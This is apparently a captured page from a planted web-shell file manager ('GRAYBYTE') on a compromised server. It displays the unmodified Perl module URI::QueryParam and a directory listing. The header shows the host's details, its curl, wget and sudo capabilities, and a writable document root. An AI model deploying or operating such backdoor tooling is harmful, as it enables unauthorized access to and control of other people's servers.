✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/perl5/URI//QueryParam.pm
package URI::QueryParam;

use strict;
use warnings;

our $VERSION = '5.09';

sub URI::_query::query_param {
    my $self = shift;
    my @old = $self->query_form;

    if (@_ == 0) {
	# get keys
	my (%seen, $i);
	return grep !($i++ % 2 || $seen{$_}++), @old;
    }

    my $key = shift;
    my @i = grep $_ % 2 == 0 && $old[$_] eq $key, 0 .. $#old;

    if (@_) {
	my @new = @old;
	my @new_i = @i;
	my @vals = map { ref($_) eq 'ARRAY' ? @$_ : $_ } @_;

	while (@new_i > @vals) {
	    splice @new, pop @new_i, 2;
	}
	if (@vals > @new_i) {
	    my $i = @new_i ? $new_i[-1] + 2 : @new;
	    my @splice = splice @vals, @new_i, @vals - @new_i;

	    splice @new, $i, 0, map { $key => $_ } @splice;
	}
	if (@vals) {
	    #print "SET $new_i[0]\n";
	    @new[ map $_ + 1, @new_i ] = @vals;
	}

	$self->query_form(\@new);
    }

    return wantarray ? @old[map $_+1, @i] : @i ? $old[$i[0]+1] : undef;
}

sub URI::_query::query_param_append {
    my $self = shift;
    my $key = shift;
    my @vals = map { ref $_ eq 'ARRAY' ? @$_ : $_ } @_;
    $self->query_form($self->query_form, $key => \@vals);  # XXX
    return;
}

sub URI::_query::query_param_delete {
    my $self = shift;
    my $key = shift;
    my @old = $self->query_form;
    my @vals;

    for (my $i = @old - 2; $i >= 0; $i -= 2) {
	next if $old[$i] ne $key;
	push(@vals, (splice(@old, $i, 2))[1]);
    }
    $self->query_form(\@old) if @vals;
    return wantarray ? reverse @vals : $vals[-1];
}

sub URI::_query::query_form_hash {
    my $self = shift;
    my @old = $self->query_form;
    if (@_) {
	$self->query_form(@_ == 1 ? %{shift(@_)} : @_);
    }
    my %hash;
    while (my($k, $v) = splice(@old, 0, 2)) {
	if (exists $hash{$k}) {
	    for ($hash{$k}) {
		$_ = [$_] unless ref($_) eq "ARRAY";
		push(@$_, $v);
	    }
	}
	else {
	    $hash{$k} = $v;
	}
    }
    return \%hash;
}

1;

__END__

=head1 NAME

URI::QueryParam - Additional query methods for URIs

=head1 SYNOPSIS

  use URI;
  use URI::QueryParam;

  $u = URI->new("", "http");
  $u->query_param(foo => 1, 2, 3);
  print $u->query;    # prints foo=1&foo=2&foo=3

  for my $key ($u->query_param) {
      print "$key: ", join(", ", $u->query_param($key)), "\n";
  }

=head1 DESCRIPTION

Loading the C<URI::QueryParam> module adds some extra methods to
URIs that support query methods.  These methods provide an alternative
interface to the $u->query_form data.

The query_param_* methods have deliberately been made identical to the
interface of the corresponding C<CGI.pm> methods.

The following additional methods are made available:

=over

=item @keys = $u->query_param

=item @values = $u->query_param( $key )

=item $first_value = $u->query_param( $key )

=item $u->query_param( $key, $value,... )

If $u->query_param is called with no arguments, it returns all the
distinct parameter keys of the URI.  In a scalar context it returns the
number of distinct keys.

When a $key argument is given, the method returns the parameter values with the
given key.  In a scalar context, only the first parameter value is
returned.

If additional arguments are given, they are used to update successive
parameters with the given key.  If any of the values provided are
array references, then the array is dereferenced to get the actual
values.

Please note that you can supply multiple values to this method, but you cannot
supply multiple keys.

Do this:

    $uri->query_param( widget_id => 1, 5, 9 );

Do NOT do this:

    $uri->query_param( widget_id => 1, frobnicator_id => 99 );

=item $u->query_param_append($key, $value,...)

Adds new parameters with the given
key without touching any old parameters with the same key.  It
can be explained as a more efficient version of:

   $u->query_param($key,
                   $u->query_param($key),
                   $value,...);

One difference is that this expression would return the old values
of $key, whereas the query_param_append() method does not.

=item @values = $u->query_param_delete($key)

=item $first_value = $u->query_param_delete($key)

Deletes all key/value pairs with the given key.
The old values are returned.  In a scalar context, only the first value
is returned.

Using the query_param_delete() method is slightly more efficient than
the equivalent:

   $u->query_param($key, []);

=item $hashref = $u->query_form_hash

=item $u->query_form_hash( \%new_form )

Returns a reference to a hash that represents the
query form's key/value pairs.  If a key occurs multiple times, then the hash
value becomes an array reference.

Note that sequence information is lost.  This means that:

   $u->query_form_hash($u->query_form_hash);

is not necessarily a no-op, as it may reorder the key/value pairs.
The values returned by the query_param() method should stay the same
though.

=back

=head1 SEE ALSO

L<URI>, L<CGI>

=head1 COPYRIGHT

Copyright 2002 Gisle Aas.

=cut

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
17 Jan 2026 3.18 PM
root / root
0755
file
--
14 Jan 2026 3.49 PM
root / root
0755
urn
--
14 Jan 2026 3.49 PM
root / root
0755
Escape.pm
6.896 KB
3 Mar 2021 3.16 PM
root / root
0644
Heuristic.pm
6.374 KB
3 Mar 2021 3.16 PM
root / root
0644
IRI.pm
0.775 KB
3 Mar 2021 3.16 PM
root / root
0644
QueryParam.pm
4.747 KB
3 Mar 2021 3.16 PM
root / root
0644
Split.pm
2.298 KB
3 Mar 2021 3.16 PM
root / root
0644
URL.pm
5.358 KB
3 Mar 2021 3.16 PM
root / root
0644
WithBase.pm
3.771 KB
3 Mar 2021 3.16 PM
root / root
0644
_foreign.pm
0.104 KB
3 Mar 2021 3.16 PM
root / root
0644
_generic.pm
5.686 KB
3 Mar 2021 3.16 PM
root / root
0644
_idna.pm
2.03 KB
3 Mar 2021 3.16 PM
root / root
0644
_ldap.pm
3.173 KB
3 Mar 2021 3.16 PM
root / root
0644
_login.pm
0.226 KB
3 Mar 2021 3.16 PM
root / root
0644
_punycode.pm
5.49 KB
3 Mar 2021 3.16 PM
root / root
0644
_query.pm
2.472 KB
3 Mar 2021 3.16 PM
root / root
0644
_segment.pm
0.406 KB
3 Mar 2021 3.16 PM
root / root
0644
_server.pm
3.637 KB
3 Mar 2021 3.16 PM
root / root
0644
_userpass.pm
1.01 KB
3 Mar 2021 3.16 PM
root / root
0644
data.pm
3.311 KB
3 Mar 2021 3.16 PM
root / root
0644
file.pm
9.532 KB
3 Mar 2021 3.16 PM
root / root
0644
ftp.pm
1.031 KB
3 Mar 2021 3.16 PM
root / root
0644
gopher.pm
2.371 KB
3 Mar 2021 3.16 PM
root / root
0644
http.pm
0.415 KB
3 Mar 2021 3.16 PM
root / root
0644
https.pm
0.141 KB
3 Mar 2021 3.16 PM
root / root
0644
ldap.pm
2.855 KB
3 Mar 2021 3.16 PM
root / root
0644
ldapi.pm
0.43 KB
3 Mar 2021 3.16 PM
root / root
0644
ldaps.pm
0.141 KB
3 Mar 2021 3.16 PM
root / root
0644
mailto.pm
1.246 KB
3 Mar 2021 3.16 PM
root / root
0644
mms.pm
0.122 KB
3 Mar 2021 3.16 PM
root / root
0644
news.pm
1.42 KB
3 Mar 2021 3.16 PM
root / root
0644
nntp.pm
0.124 KB
3 Mar 2021 3.16 PM
root / root
0644
nntps.pm
0.141 KB
3 Mar 2021 3.16 PM
root / root
0644
pop.pm
1.179 KB
3 Mar 2021 3.16 PM
root / root
0644
rlogin.pm
0.126 KB
3 Mar 2021 3.16 PM
root / root
0644
rsync.pm
0.202 KB
3 Mar 2021 3.16 PM
root / root
0644
rtsp.pm
0.122 KB
3 Mar 2021 3.16 PM
root / root
0644
rtspu.pm
0.123 KB
3 Mar 2021 3.16 PM
root / root
0644
sftp.pm
0.096 KB
3 Mar 2021 3.16 PM
root / root
0644
sip.pm
1.655 KB
3 Mar 2021 3.16 PM
root / root
0644
sips.pm
0.14 KB
3 Mar 2021 3.16 PM
root / root
0644
snews.pm
0.168 KB
3 Mar 2021 3.16 PM
root / root
0644
ssh.pm
0.171 KB
3 Mar 2021 3.16 PM
root / root
0644
telnet.pm
0.125 KB
3 Mar 2021 3.16 PM
root / root
0644
tn3270.pm
0.125 KB
3 Mar 2021 3.16 PM
root / root
0644
urn.pm
2.124 KB
3 Mar 2021 3.16 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF